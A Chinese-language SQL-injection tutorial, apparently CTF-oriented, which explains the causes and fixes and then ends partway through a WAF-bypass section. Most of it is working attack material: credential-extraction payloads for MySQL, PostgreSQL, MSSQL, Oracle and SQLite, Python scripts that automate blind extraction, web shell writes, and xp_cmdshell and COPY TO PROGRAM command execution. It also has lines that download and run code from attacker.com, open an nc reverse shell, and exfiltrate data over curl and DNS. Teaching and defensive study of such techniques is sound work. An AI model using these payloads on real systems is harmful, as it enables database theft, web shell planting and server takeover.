P05 SQL 注入

2022-03-11 CTF-WEB 詹英

梳理 SQL 注入的原理、类型、利用技巧与 WAF 绕过方法。

一、SQLi 概述

SQL 注入(SQL Injection,SQLi)是指攻击者将恶意 SQL 代码插入到应用程序的输入参数中,使得后端数据库执行了超出预期的 SQL 语句,从而实现非授权的数据读取、数据篡改,乃至服务器控制。

SQL 注入自 1998 年被公开以来,长期占据 OWASP Top 10 首位,是 Web 安全领域危害最广、出现频率最高的漏洞之一。

危害级别: 🔴 严重

可导致的后果:

危害 说明
数据泄露 读取数据库中任意表的数据,包括用户凭据、业务数据
认证绕过 绕过登录验证,以任意身份登录系统
数据篡改 修改、删除数据库数据,破坏业务逻辑
文件读写 读取服务器文件,写入 WebShell
命令执行 特定数据库配置下可执行操作系统命令(如 MSSQL xp_cmdshell)
拒绝服务 通过重型查询拖垮数据库服务器

二、形成原理

2.1 根本原因

SQL 注入的根本原因在于程序将用户可控数据与 SQL 指令混合拼接,导致数据库无法区分"数据"与"指令"的边界。

用户输入:admin' OR '1'='1
拼接后:SELECT * FROM users WHERE username='admin' OR '1'='1'
执行效果:忽略密码验证,返回所有用户

2.2 代码层面分析

危险示例(PHP + MySQL)

// ❌ 危险写法:直接拼接用户输入
$username = $_POST['username'];
$password = $_POST['password'];
$sql = "SELECT * FROM users WHERE username='$username' AND password='$password'";
$result = mysqli_query($conn, $sql);

// 攻击输入:
// username: admin'--
// 拼接结果:SELECT * FROM users WHERE username='admin'--' AND password='xxx'
// 效果:密码验证被注释掉,直接登录 admin
// ✅ 安全写法:PDO 参数化查询
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->execute([$username, $password]);

危险示例(Python + SQLite)

# ❌ 危险写法
cursor.execute("SELECT * FROM users WHERE id=" + user_id)

# ✅ 安全写法
cursor.execute("SELECT * FROM users WHERE id = ?", (user_id,))

危险示例(Java + JDBC)

// ❌ 危险写法
String sql = "SELECT * FROM users WHERE id=" + request.getParameter("id");
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery(sql);

// ✅ 安全写法
String sql = "SELECT * FROM users WHERE id = ?";
PreparedStatement pstmt = conn.prepareStatement(sql);
pstmt.setInt(1, Integer.parseInt(request.getParameter("id")));

2.3 注入点识别

触发异常的测试方法:

# 单引号测试(最基础)
'  →  数据库报错或页面异常

# 布尔测试(确认可注入)
1 AND 1=1  →  正常页面
1 AND 1=2  →  页面有差异

# 时间测试(盲注确认)
1 AND SLEEP(5)  →  响应延迟约 5 秒

# 注释符测试
1--
1#
1/*

# 数字型 vs 字符型判断
id=1         正常
id=1-0       正常(数字型,1-0=1)
id=1-1       返回 id=0 的数据(数字型)
id='1'       正常(字符型支持)

常见注入点:

URL 参数:?id=1&page=2&sort=name
POST 表单:username=xxx&password=xxx
Cookie:PHPSESSID=xxx; user_id=1
HTTP 头:X-Forwarded-For、Referer、User-Agent
JSON/XML 请求体
搜索框、排序字段、分页参数

三、注入类型详解

3.1 联合查询注入 (UNION-Based)

适用场景: 查询结果能直接回显到页面中

利用步骤:

第一步:确定列数

-- 方法一:ORDER BY 二分法
ORDER BY 1--    正常
ORDER BY 2--    正常
ORDER BY 3--    正常
ORDER BY 4--    报错 → 列数为 3

-- 方法二:UNION NULL 枚举
UNION SELECT null--           报错
UNION SELECT null,null--      报错
UNION SELECT null,null,null-- 正常 → 列数为 3

第二步:确定回显列

-- 将 null 替换为字符串,观察哪个位置有回显
UNION SELECT 'a',null,null--
UNION SELECT null,'a',null--
UNION SELECT null,null,'a'--

-- 或使用数字(部分数据库需类型匹配)
UNION SELECT 1,2,3--

第三步:提取数据

-- 获取数据库基本信息
UNION SELECT null,database(),version()--
UNION SELECT null,user(),@@datadir--

-- 获取所有数据库
UNION SELECT null,group_concat(schema_name),null
FROM information_schema.schemata--

-- 获取当前数据库所有表
UNION SELECT null,group_concat(table_name),null
FROM information_schema.tables
WHERE table_schema=database()--

-- 获取指定表的列名
UNION SELECT null,group_concat(column_name),null
FROM information_schema.columns
WHERE table_name='users'--

-- 获取数据
UNION SELECT null,group_concat(username,0x3a,password),null
FROM users--

-- 多行数据分隔输出
UNION SELECT null,group_concat(username,':',password SEPARATOR '|'),null
FROM users--

完整利用示例

原始请求:GET /article?id=1

Step 1: id=1 ORDER BY 3-- -          → 正常
        id=1 ORDER BY 4-- -          → 报错,确认3列

Step 2: id=-1 UNION SELECT 1,2,3-- - → 页面显示数字,确认第2、3列回显

Step 3: id=-1 UNION SELECT 1,database(),version()-- -
        → 显示:ctfdb | 8.0.26

Step 4: id=-1 UNION SELECT 1,group_concat(table_name),3
        FROM information_schema.tables WHERE table_schema='ctfdb'-- -
        → 显示:users,flag,articles

Step 5: id=-1 UNION SELECT 1,group_concat(column_name),3
        FROM information_schema.columns WHERE table_name='flag'-- -
        → 显示:id,flag_value

Step 6: id=-1 UNION SELECT 1,flag_value,3 FROM flag-- -
        → 显示:flag{sql_injecti0n_m4ster}

3.2 报错注入 (Error-Based)

适用场景: 页面会显示数据库错误信息,但不回显查询结果

原理: 利用特定 SQL 函数在处理特殊数据时产生报错,并将查询结果包含在错误信息中输出。

MySQL 报错函数

-- 1. extractvalue():XPATH 语法错误
' AND extractvalue(1,concat(0x7e,(SELECT database())))-- -
' AND extractvalue(1,concat(0x7e,(SELECT version())))-- -
' AND extractvalue(1,concat(0x7e,(
    SELECT group_concat(table_name)
    FROM information_schema.tables
    WHERE table_schema=database())))-- -

-- 报错输出:XPATH syntax error: '~ctfdb'

-- 注意:extractvalue 每次只能显示 32 个字符
-- 超长数据需分段读取
' AND extractvalue(1,concat(0x7e,substr((SELECT group_concat(username,':',password) FROM users),1,30)))-- -
' AND extractvalue(1,concat(0x7e,substr((SELECT group_concat(username,':',password) FROM users),31,30)))-- -
-- 2. updatexml():XPATH 语法错误
' AND updatexml(1,concat(0x7e,(SELECT database())),1)-- -
' AND updatexml(1,concat(0x7e,(SELECT version())),1)-- -
' AND updatexml(1,concat(0x7e,(SELECT group_concat(username,':',password) FROM users)),1)-- -

-- 报错输出:XPATH syntax error: '~admin:password123'
-- 3. floor(rand()*2) 报错(无字符长度限制)
' AND (SELECT 1 FROM(
    SELECT COUNT(*),
    concat((SELECT database()),floor(rand(0)*2)) AS x
    FROM information_schema.tables
    GROUP BY x
)a)-- -

-- 报错输出:Duplicate entry 'ctfdb1' for key 'group_key'
-- 完整数据提取版本(结合 limit)
' AND (SELECT 1 FROM(
    SELECT COUNT(*),
    concat(0x7e,(SELECT concat(username,':',password) FROM users LIMIT 0,1),0x7e,floor(rand(0)*2)) AS x
    FROM information_schema.tables
    GROUP BY x
)a)-- -
-- 4. geometrycollection / multipoint(MySQL 5.x)
' AND geometrycollection((SELECT * FROM(SELECT * FROM(SELECT database())a)b))-- -
' AND multipoint((SELECT * FROM(SELECT * FROM(SELECT version())a)b))-- -
' AND polygon((SELECT * FROM(SELECT * FROM(SELECT user())a)b))-- -
' AND multipolygon((SELECT * FROM(SELECT * FROM(SELECT database())a)b))-- -
' AND linestring((SELECT * FROM(SELECT * FROM(SELECT database())a)b))-- -
' AND multilinestring((SELECT * FROM(SELECT * FROM(SELECT database())a)b))-- -
' AND exp(~(SELECT * FROM(SELECT database())a))-- -
-- 5. exp() 溢出报错(MySQL 5.5.5+)
-- exp(x) 当 x > 709 时溢出
' AND exp(~(SELECT * FROM(SELECT database())a))-- -
-- ~ 是按位取反,使结果变为极大数,触发溢出
-- 报错输出:DOUBLE value is out of range in 'exp(~((select 'ctfdb')))'

3.3 布尔盲注 (Boolean-Based Blind)

适用场景: 页面不显示查询结果和报错,但会根据查询真假返回不同响应(页面内容、状态码、重定向等)

原理: 通过构造条件判断语句,根据页面差异逐位猜解数据。

基础模板

-- 字符串类型注入点
' AND (条件判断)-- -

-- 数字类型注入点
1 AND (条件判断)-- -

逐步提取数据

-- 第一步:判断数据库名长度
' AND length(database())=1-- -  → False
' AND length(database())=2-- -  → False
' AND length(database())=5-- -  → True → 数据库名长度为 5

-- 第二步:逐字符猜解数据库名
' AND ascii(substr(database(),1,1))=99-- -   → True → 'c'
' AND ascii(substr(database(),2,1))=116-- -  → True → 't'
' AND ascii(substr(database(),3,1))=102-- -  → True → 'f'
-- 以此类推...

-- 使用二分法加速(减少请求次数)
' AND ascii(substr(database(),1,1))>64-- -   → True
' AND ascii(substr(database(),1,1))>96-- -   → True
' AND ascii(substr(database(),1,1))>112-- -  → False
' AND ascii(substr(database(),1,1))>104-- -  → False
' AND ascii(substr(database(),1,1))>100-- -  → False
' AND ascii(substr(database(),1,1))>98-- -   → True
' AND ascii(substr(database(),1,1))=99-- -   → True → 'c'

自动化布尔盲注脚本

import requests
import string

TARGET = "http://target.com/article?id="
TRUE_KEYWORD = "Article"  # 页面为 True 时包含的关键词

def check(payload):
    """判断注入条件是否为 True"""
    url = TARGET + f"1 AND {payload}-- -"
    r = requests.get(url, timeout=5)
    return TRUE_KEYWORD in r.text

def extract_string(query, max_len=64):
    """逐字符提取字符串结果"""
    result = ""
    for i in range(1, max_len + 1):
        # 先判断是否已到末尾
        if check(f"length(({query}))={i - 1}"):
            break
        # 二分法猜字符
        lo, hi = 32, 127
        while lo < hi:
            mid = (lo + hi) // 2
            if check(f"ascii(substr(({query}),{i},1))>{mid}"):
                lo = mid + 1
            else:
                hi = mid
        if lo == 32:
            break
        result += chr(lo)
        print(f"\r[+] 正在提取: {result}", end="", flush=True)
    print()
    return result

# 提取数据库名
db_name = extract_string("SELECT database()")
print(f"[*] 数据库名: {db_name}")

# 提取表名
tables = extract_string(f"SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema='{db_name}'")
print(f"[*] 表名: {tables}")

# 提取 flag
flag = extract_string("SELECT flag_value FROM flag LIMIT 0,1")
print(f"[*] Flag: {flag}")

3.4 时间盲注 (Time-Based Blind)

适用场景: 页面无任何差异,无论查询真假都返回相同内容(完全无回显)

原理: 通过控制 SQL 查询是否引入时间延迟,以响应时间差来判断条件真假。

各数据库时间函数

-- MySQL
SLEEP(5)                        -- 延迟 5 秒
BENCHMARK(5000000, MD5(1))     -- CPU 计算延迟(绕过 SLEEP 过滤)

-- PostgreSQL
pg_sleep(5)                     -- 延迟 5 秒

-- MSSQL
WAITFOR DELAY '0:0:5'          -- 延迟 5 秒
WAITFOR TIME '10:00:00'        -- 等待到指定时间

-- Oracle
dbms_pipe.receive_message(('a'),5)   -- 延迟 5 秒
BEGIN DBMS_LOCK.sleep(5); END;       -- 延迟 5 秒(需权限)

条件时间注入模板

-- MySQL IF 条件
' AND IF(条件, SLEEP(3), 0)-- -

-- 示例:判断数据库名第一个字符是否为 'c'
' AND IF(ascii(substr(database(),1,1))=99, SLEEP(3), 0)-- -
→ 响应延迟 3 秒 → True

-- 提取数据库名
' AND IF(ascii(substr(database(),1,1))>96, SLEEP(3), 0)-- -
' AND IF(ascii(substr(database(),1,1))>112, SLEEP(3), 0)-- -

-- CASE WHEN 写法
' AND CASE WHEN (条件) THEN SLEEP(3) ELSE 0 END-- -

自动化时间盲注脚本

import requests
import time

TARGET = "http://target.com/article?id="
SLEEP_TIME = 3      # 延迟秒数
THRESHOLD = 2.0     # 判断阈值(秒)

def check_time(payload):
    """判断条件是否为 True(基于响应时间)"""
    url = TARGET + f"1 AND IF({payload},SLEEP({SLEEP_TIME}),0)-- -"
    start = time.time()
    try:
        requests.get(url, timeout=SLEEP_TIME + 5)
    except requests.exceptions.Timeout:
        return True  # 超时也视为 True
    elapsed = time.time() - start
    return elapsed >= THRESHOLD

def extract_string_time(query, max_len=64):
    """时间盲注提取字符串"""
    result = ""
    for i in range(1, max_len + 1):
        if check_time(f"length(({query}))={i - 1}"):
            break
        lo, hi = 32, 127
        while lo < hi:
            mid = (lo + hi) // 2
            if check_time(f"ascii(substr(({query}),{i},1))>{mid}"):
                lo = mid + 1
            else:
                hi = mid
        if lo == 32:
            break
        result += chr(lo)
        print(f"\r[+] 正在提取: {result}", end="", flush=True)
    print()
    return result

# 提取数据库名
db = extract_string_time("SELECT database()")
print(f"[*] 数据库: {db}")

# 提取 flag
flag = extract_string_time("SELECT flag FROM flag LIMIT 0,1")
print(f"[*] Flag: {flag}")

3.5 堆叠注入 (Stacked Queries)

适用场景: 数据库接口允许一次执行多条 SQL 语句(分号分隔)

支持情况:

  • ✅ MySQL(mysqli_multi_query()
  • ✅ PostgreSQL
  • ✅ MSSQL
  • ❌ MySQL PDO(默认不支持多语句)
  • ❌ Oracle(不支持分号分隔多语句)

基础用法

-- 读取数据(结合 UPDATE 写入可见位置)
1; UPDATE users SET email=(SELECT flag FROM flag LIMIT 0,1) WHERE id=1--

-- 创建新用户
1; INSERT INTO users(username,password) VALUES('hacker','hacker123')--

-- 修改管理员密码
1; UPDATE users SET password='newpassword' WHERE username='admin'--

-- 删除数据
1; DROP TABLE users--

-- 写文件(MySQL)
1; SELECT '<?php system($_GET["cmd"]);?>' INTO OUTFILE '/var/www/html/shell.php'--

PostgreSQL 堆叠执行命令

-- 创建并调用函数执行命令
1; CREATE OR REPLACE FUNCTION exec_cmd(cmd text) RETURNS text AS $$
DECLARE result text;
BEGIN
  EXECUTE cmd INTO result;
  RETURN result;
END;
$$ LANGUAGE plpgsql-- -

-- 利用 COPY 执行命令
1; COPY (SELECT '') TO PROGRAM 'id > /tmp/pwn.txt'--

-- 利用 COPY 读取命令输出
1; CREATE TABLE cmd_out(data text)--
1; COPY cmd_out FROM PROGRAM 'id'--
1; SELECT data FROM cmd_out--

MSSQL 堆叠执行命令

-- 开启 xp_cmdshell
1; EXEC sp_configure 'show advanced options',1; RECONFIGURE--
1; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE--

-- 执行命令
1; EXEC master..xp_cmdshell 'whoami'--
1; EXEC master..xp_cmdshell 'certutil -urlcache -f http://attacker.com/shell.exe C:\shell.exe && C:\shell.exe'--

-- 查询输出
1; CREATE TABLE #tmp(output varchar(8000))--
1; INSERT #tmp EXEC master..xp_cmdshell 'whoami'--
1; SELECT output FROM #tmp--

3.6 带外注入 (Out-of-Band)

适用场景: 服务器可发起外部网络请求,查询结果无法从页面获得(完全盲注)

原理: 将查询结果通过 DNS 查询、HTTP 请求等方式外带到攻击者控制的服务器。

MySQL DNS 外带

-- 使用 load_file() 触发 DNS 查询(需 FILE 权限)
-- Windows 环境(UNC 路径)
' AND load_file(concat('\\\\',database(),'.attacker.com\\share'))-- -

-- 实际效果:DNS 查询 ctfdb.attacker.com
-- 在 attacker.com 的 DNS 日志中可看到查询

-- 获取数据库名
' AND load_file(concat(0x5c5c5c5c,(SELECT database()),0x2e61747461636b65722e636f6d5c5c61))-- -

-- 获取表数据
' AND load_file(concat(0x5c5c5c5c,(SELECT hex(group_concat(username,':',password)) FROM users),0x2e61747461636b65722e636f6d5c5c61))-- -

MySQL HTTP 外带

-- INTO OUTFILE 写 UNC 路径(Windows)
' UNION SELECT 1,(SELECT password FROM users WHERE username='admin'),3
INTO OUTFILE '\\\\attacker.com\\share\\result.txt'-- -

-- load_file + into outfile 组合(Linux 下通过 SSRF)
' AND (SELECT load_file(concat('http://attacker.com/?data=',(SELECT database()))))-- -
-- 注意:load_file 不能发 HTTP,此方法仅限特殊场景

PostgreSQL 带外

-- 利用 COPY 外带(需超级用户权限)
COPY (SELECT password FROM users WHERE username='admin')
TO PROGRAM 'curl http://attacker.com/?d=$(cat /dev/stdin | base64)';

-- 利用 dblink 扩展(需安装)
SELECT dblink_connect('host=attacker.com user=postgres password=test dbname=test');

工具:使用 Burp Collaborator

1. 在 Burp Suite 中打开 Collaborator client
2. 生成一个 Collaborator payload(如 xxxxx.burpcollaborator.net)
3. 在 DNS 外带 Payload 中使用该域名
4. 在 Collaborator 界面中观察到 DNS 查询及其子域名内容

3.7 二阶注入 (Second-Order)

原理: 恶意数据先被"安全地"存入数据库,当程序在其他功能中取出该数据并再次拼接 SQL 时触发注入。

攻击流程:

1. 注册阶段:
   用户名输入:admin'--
   程序转义后存储:admin\'--  (存储安全)

2. 修改密码阶段(从数据库取出用户名拼接 SQL):
   SELECT * FROM users WHERE username='admin'--'
   ↑ 数据库取出的数据已去除转义,拼接后破坏 SQL 结构

   构造的 SQL:
   UPDATE users SET password='xxx' WHERE username='admin'--'
   实际执行:UPDATE users SET password='xxx' WHERE username='admin'
   效果:修改了 admin 的密码,而非当前用户

示例场景:

-- 攻击者注册用户名:
' UNION SELECT 1,(SELECT password FROM admins LIMIT 0,1),3-- -

-- 当该用户名被用于个人信息页面查询时:
SELECT * FROM profiles WHERE username='' UNION SELECT 1,(SELECT password FROM admins LIMIT 0,1),3-- -'
→ 泄露 admins 表中的密码

检测方法:

  • 在可保存数据的功能(注册、修改资料)中输入注入符号
  • 观察该数据在其他功能(查看资料、生成报告)中是否触发
  • 需要追踪数据流向,逆向分析数据使用位置

四、不同数据库利用技巧

4.1 MySQL

基本信息查询

SELECT version();                    -- 数据库版本
SELECT database();                   -- 当前数据库
SELECT user();                       -- 当前用户
SELECT @@hostname;                   -- 主机名
SELECT @@datadir;                    -- 数据目录
SELECT @@global.secure_file_priv;    -- 文件读写限制
SELECT @@version_compile_os;         -- 操作系统

元数据查询

-- 所有数据库
SELECT schema_name FROM information_schema.schemata;

-- 当前库所有表
SELECT table_name FROM information_schema.tables
WHERE table_schema = database();

-- 指定表的列名
SELECT column_name,column_type FROM information_schema.columns
WHERE table_name = 'users';

-- 组合查询(一次性获取结构)
SELECT concat(table_schema,'.',table_name,'.',column_name)
FROM information_schema.columns
WHERE table_schema NOT IN ('mysql','information_schema','performance_schema','sys');

文件操作

-- 读取文件(需 FILE 权限,且 secure_file_priv 允许)
SELECT load_file('/etc/passwd');
SELECT hex(load_file('/etc/passwd'));     -- HEX 编码避免特殊字符
' UNION SELECT 1,load_file('/etc/passwd'),3-- -

-- 写文件(需 FILE 权限,secure_file_priv='')
SELECT '<?php @eval($_POST[cmd]);?>' INTO OUTFILE '/var/www/html/shell.php';
SELECT '<?php @eval($_POST[cmd]);?>' INTO DUMPFILE '/var/www/html/shell.php';
-- DUMPFILE 不添加换行符,适合二进制文件

-- 写文件(十六进制编码绕过特殊字符过滤)
SELECT 0x3c3f70687020406576616c28245f504f53545b636d645d293b3f3e
INTO OUTFILE '/var/www/html/shell.php';

MySQL 特有技巧

-- 无逗号 UNION(绕过逗号过滤)
UNION SELECT * FROM (SELECT 1)a JOIN (SELECT database())b JOIN (SELECT version())c

-- 无引号读取字符串(HEX 编码)
WHERE table_name=0x7573657273   -- 'users' 的十六进制

-- 无空格查询
SELECT/**/username/**/FROM/**/users

-- 读取 MySQL 用户密码哈希
SELECT user,authentication_string FROM mysql.user;

-- 宽松模式绕过(sql_mode)
SELECT @@sql_mode;
SET @@sql_mode='';

4.2 PostgreSQL

基本信息查询

SELECT version();                    -- 版本
SELECT current_database();           -- 当前数据库
SELECT current_user;                 -- 当前用户
SELECT inet_server_addr();           -- 服务器 IP
SELECT pg_postmaster_start_time();   -- 启动时间

-- 判断是否超级用户
SELECT current_setting('is_superuser');
SELECT usesuper FROM pg_user WHERE usename=current_user;

元数据查询

-- 所有数据库
SELECT datname FROM pg_database;

-- 所有表(不含系统表)
SELECT tablename FROM pg_tables WHERE schemaname='public';

-- 列名
SELECT column_name,data_type FROM information_schema.columns
WHERE table_name='users';

-- 版本信息详情
SELECT * FROM pg_settings WHERE name='server_version';

PostgreSQL 命令执行

-- COPY TO PROGRAM(需超级用户)
COPY (SELECT '') TO PROGRAM 'id > /tmp/output.txt';

-- 读取命令输出
CREATE TABLE output(data text);
COPY output FROM PROGRAM 'id';
SELECT data FROM output;
DROP TABLE output;

-- 文件读取
SELECT pg_read_file('/etc/passwd');          -- 需超级用户(PG 9.1+)
SELECT pg_read_binary_file('/etc/passwd');    -- 二进制读取

-- 文件写入
COPY (SELECT '<?php system($_GET[cmd]);?>') TO '/var/www/html/shell.php';

-- 利用 Large Objects 读写文件
SELECT lo_import('/etc/passwd', 12345);      -- 导入文件为 LO
SELECT encode(data::bytea,'escape') FROM pg_largeobject WHERE loid=12345;

PostgreSQL 提权技巧

-- 利用 UDF 加载自定义函数
CREATE OR REPLACE FUNCTION shell(text) RETURNS text AS '
DECLARE result text;
BEGIN
  EXECUTE $1 INTO result;
  RETURN result;
END;
' LANGUAGE plpgsql;

-- 通过 dblink 进行 SSRF
SELECT dblink_send_query('host=169.254.169.254 user=a password=a dbname=a', 'SELECT 1');

-- 枚举角色
SELECT rolname,rolsuper FROM pg_roles;

4.3 MSSQL (SQL Server)

基本信息查询

SELECT @@version;                  -- 版本
SELECT DB_NAME();                  -- 当前数据库
SELECT SYSTEM_USER;                -- 当前登录用户
SELECT USER_NAME();                -- 当前数据库用户
SELECT @@SERVERNAME;               -- 服务器名
SELECT HOST_NAME();                -- 主机名

-- 判断是否 sysadmin
SELECT IS_SRVROLEMEMBER('sysadmin');

-- 当前用户权限
SELECT permission_name FROM fn_my_permissions(null,'SERVER');

元数据查询

-- 所有数据库
SELECT name FROM master..sysdatabases;
SELECT name FROM sys.databases;

-- 所有表
SELECT table_name FROM information_schema.tables WHERE table_type='BASE TABLE';
SELECT name FROM sysobjects WHERE xtype='U';

-- 列名
SELECT column_name FROM information_schema.columns WHERE table_name='users';

-- 链接服务器(横向移动)
SELECT * FROM sys.servers;
SELECT * FROM OPENQUERY([LINKED_SERVER], 'SELECT 1');

MSSQL 命令执行

-- xp_cmdshell(最常用)
EXEC master..xp_cmdshell 'whoami';
EXEC xp_cmdshell 'net user';
EXEC xp_cmdshell 'certutil -urlcache -f http://attacker.com/nc.exe C:\nc.exe';
EXEC xp_cmdshell 'C:\nc.exe -e cmd.exe attacker.com 4444';

-- 开启 xp_cmdshell(若被禁用)
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;

-- sp_oacreate 方法(xp_cmdshell 被禁时)
DECLARE @shell INT;
EXEC sp_oacreate 'wscript.shell', @shell OUTPUT;
EXEC sp_oamethod @shell, 'run', null, 'cmd /c whoami > C:\output.txt', 0, 1;

-- CLR 组件(创建自定义函数)
-- 需 CLR 已启用 + UNSAFE 权限
EXEC sp_configure 'clr enabled', 1; RECONFIGURE;

MSSQL 文件操作

-- 读文件(OpenRowset)
SELECT * FROM OPENROWSET(BULK 'C:\Windows\win.ini', SINGLE_CLOB) AS data;
SELECT BulkColumn FROM OPENROWSET(BULK 'C:\secret.txt', SINGLE_BLOB) AS data;

-- 写文件(BCP 命令)
EXEC xp_cmdshell 'bcp "SELECT ''<?php @eval($_POST[cmd]);?>''" queryout C:\inetpub\wwwroot\shell.php -c -T -S localhost';

MSSQL 特有技巧

-- 时间注入
IF (1=1) WAITFOR DELAY '0:0:5'

-- DNS 带外(需 xp_dirtree 或 xp_fileexist)
EXEC master..xp_dirtree '\\' + (SELECT TOP 1 name FROM master..sysdatabases) + '.attacker.com\share'

-- 错误回显
' AND 1=CONVERT(int,(SELECT TOP 1 name FROM master..sysdatabases))--

-- 注释符
-- (双横线)
/* (块注释)

4.4 Oracle

基本信息查询

SELECT * FROM v$version;              -- 版本
SELECT ora_database_name FROM dual;   -- 当前数据库
SELECT user FROM dual;                -- 当前用户
SELECT sys_context('USERENV','DB_NAME') FROM dual;
SELECT sys_context('USERENV','HOST') FROM dual;
SELECT sys_context('USERENV','IP_ADDRESS') FROM dual;

元数据查询

-- 所有数据库(Oracle 无多数据库,对应 schema)
SELECT username FROM all_users;
SELECT owner FROM all_tables GROUP BY owner;

-- 所有表
SELECT table_name FROM all_tables WHERE owner='SYSTEM';
SELECT table_name FROM user_tables;

-- 列名
SELECT column_name FROM all_columns WHERE table_name='USERS';

Oracle 注入特点

-- Oracle 必须有 FROM,使用 FROM DUAL
SELECT 1,2,3 FROM DUAL;
SELECT null,null,null FROM DUAL;

-- 字符串拼接(Oracle 用 || 而非 concat)
SELECT 'a'||'b' FROM DUAL;
SELECT username||':'||password FROM users;

-- 无 LIMIT,使用 ROWNUM
SELECT * FROM users WHERE ROWNUM=1;
SELECT * FROM (SELECT * FROM users) WHERE ROWNUM<=3;

-- 子查询取第 N 行
SELECT * FROM (SELECT ROWNUM r, a.* FROM users a) WHERE r=2;

-- 时间注入(Oracle)
' OR 1=dbms_pipe.receive_message(('a'),5)-- -
' AND 1=(SELECT 1 FROM dual WHERE 1=1 AND dbms_pipe.receive_message(('a'),3)=1)-- -

-- 报错注入(Oracle)
' AND 1=utl_inaddr.get_host_name((SELECT banner FROM v$version WHERE ROWNUM=1))-- -
' OR 1=1 AND 1=utl_inaddr.get_host_name((SELECT user FROM dual))-- -

-- CTXSYS.DRITHSX.SN 报错
' AND CTXSYS.DRITHSX.SN(user,(SELECT banner FROM v$version WHERE ROWNUM=1))=1-- -

4.5 SQLite

基本信息查询

SELECT sqlite_version();             -- 版本
SELECT name FROM sqlite_master WHERE type='table';   -- 所有表
SELECT sql FROM sqlite_master WHERE name='users';     -- 表结构(含列名)
SELECT name FROM pragma_table_info('users');          -- 列名

-- SQLite 无 information_schema
-- 使用 sqlite_master / sqlite_schema
SELECT tbl_name,sql FROM sqlite_master WHERE type='table';

SQLite 特有技巧

-- UNION 注入
UNION SELECT 1,group_concat(name),3 FROM sqlite_master WHERE type='table'-- -
UNION SELECT 1,group_concat(sql),3 FROM sqlite_master-- -
UNION SELECT 1,group_concat(tbl_name||':'||sql),3 FROM sqlite_master WHERE type='table'-- -

-- 无 SLEEP,使用 randomblob 制造延迟
1 AND 1=(SELECT 1 FROM sqlite_master WHERE randomblob(500000000) AND name='users')

-- 读文件(需 readfile 函数,默认不支持)
-- SQLite 标准版无文件读写功能

-- 注释符(与 MySQL 相同)
-- #  -- -  /**/

五、注入场景与绕过技巧

5.1 GET / POST 注入

识别特征: URL 参数或表单参数中存在注入点

# GET 参数
http://target.com/article?id=1
http://target.com/search?keyword=test&page=1

# POST 参数(表单)
username=admin&password=123

# 测试方法
id=1'          → 报错 → 存在注入
id=1 AND 1=1   → 正常
id=1 AND 1=2   → 异常

识别特征: 服务端使用 Cookie 值查询数据库(常见于用户 ID、权限级别存储在 Cookie 中)

Cookie: user_id=1; session=abc123

# 测试
Cookie: user_id=1'          → 是否报错
Cookie: user_id=1 AND 1=1  → 正常
Cookie: user_id=1 AND 1=2  → 异常
# SQLMap Cookie 注入
sqlmap -u "http://target.com/" --cookie "user_id=1" -p user_id
sqlmap -u "http://target.com/" --cookie "user_id=1*" --level=2

5.3 HTTP 头注入

常见注入头:

X-Forwarded-For: 1.2.3.4
Client-IP: 1.2.3.4
X-Real-IP: 1.2.3.4
Referer: http://google.com
User-Agent: Mozilla/5.0
Accept-Language: zh-CN

测试示例(X-Forwarded-For 注入):

import requests

# 注入 XFF 头
headers = {
    "X-Forwarded-For": "1' AND SLEEP(3)-- -"
}
r = requests.get("http://target.com/", headers=headers)

SQLMap 头注入:

# 在请求文件中标记注入点(用 * 标记)
# request.txt 内容:
GET / HTTP/1.1
Host: target.com
X-Forwarded-For: 1.2.3.4*

# 然后使用 -r 参数
sqlmap -r request.txt --level=3

5.4 JSON / XML 注入

JSON 注入

// 正常请求
{"id": 1}

// 注入测试
{"id": "1 AND 1=1-- -"}
{"id": "1 UNION SELECT 1,2,3-- -"}

// 嵌套 JSON
{"user": {"id": "1 OR 1=1-- -"}}
import requests, json

# JSON 注入
payload = {"id": "1 UNION SELECT 1,database(),3-- -"}
r = requests.post("http://target.com/api/user",
                  json=payload,
                  headers={"Content-Type": "application/json"})

XML / SOAP 注入

<!-- 正常请求 -->
<user><id>1</id></user>

<!-- 注入(XML 特殊字符需编码)-->
<user><id>1 UNION SELECT 1,database(),3-- -</id></user>

<!-- 或使用 CDATA 块 -->
<user><id><![CDATA[1' OR '1'='1]]></id></user>

5.5 宽字节注入

原理: 当数据库使用 GBK 等宽字节编码时,%df%27 会被解析为一个合法的 GBK 双字节字符(縗),"吃掉"前面的转义反斜杠 \,使单引号逃逸。

正常转义:' → \'(0x5c 0x27)
宽字节注入:%df' → %df%5c%27 → 0xDF5C(合法GBK字符"縗") + 0x27(单引号)
转义符被吞掉,单引号成功逃逸

触发条件:

  1. 数据库字符集为 GBK / GB2312 / Big5 / SJIS 等
  2. PHP 使用 addslashes()mysql_real_escape_string() 转义
  3. 未设置 SET NAMES utf8 或设置不正确

Payload:

?id=1%df' AND 1=1-- -
?id=1%df%27 UNION SELECT 1,2,3-- -
?id=1%df' UNION SELECT 1,database(),3-- -
import requests

# 宽字节注入脚本
url = "http://target.com/article?id="
payload = "1\xdf' UNION SELECT 1,database(),3-- -"
r = requests.get(url + requests.utils.quote(payload))
print(r.text)

5.6 二次解码注入

原理: 服务端对输入进行了一次 URL 解码,但 WAF 只对原始输入进行检测,造成绕过。

输入:%2527  →  WAF 检测到 %2527(无害)
服务端第一次解码:%2527 → %27
服务端第二次解码:%27 → '(单引号,触发注入)

实际示例:
?id=1%2527%20AND%201%253d1--%20-
第一次解码:1%27 AND 1%3d1-- -
第二次解码:1' AND 1=1-- -
# SQLMap 双重编码
sqlmap -u "http://target.com/?id=1" --tamper=charencode,charencode
# 或使用 --hex 参数

六、WAF 绕过技术

6.1 大小写混淆

-- WAF 规则通常区分大小写或仅匹配特定大小写
SeLeCt 1,UsErNaMe,3 FrOm UsErS
uNiOn SeLeCt 1,2,3

6.2 注释符绕过空格

-- 使用注释符替代空格
SELECT/**/username/**/FROM/**/users
SELECT/*randomstring*/username/**/FROM/**/users
UNION/**/SELECT/**/1,2,3

-- 使用其他空白字符
SELECT%09username%09FROM%09users    -- Tab (%09)
SELECT%0ausername%0aFROM%0ausers    -- 换行 (%0a)
SELECT%0dusername%0dFROM%0dusers    -- 回车 (%0d)
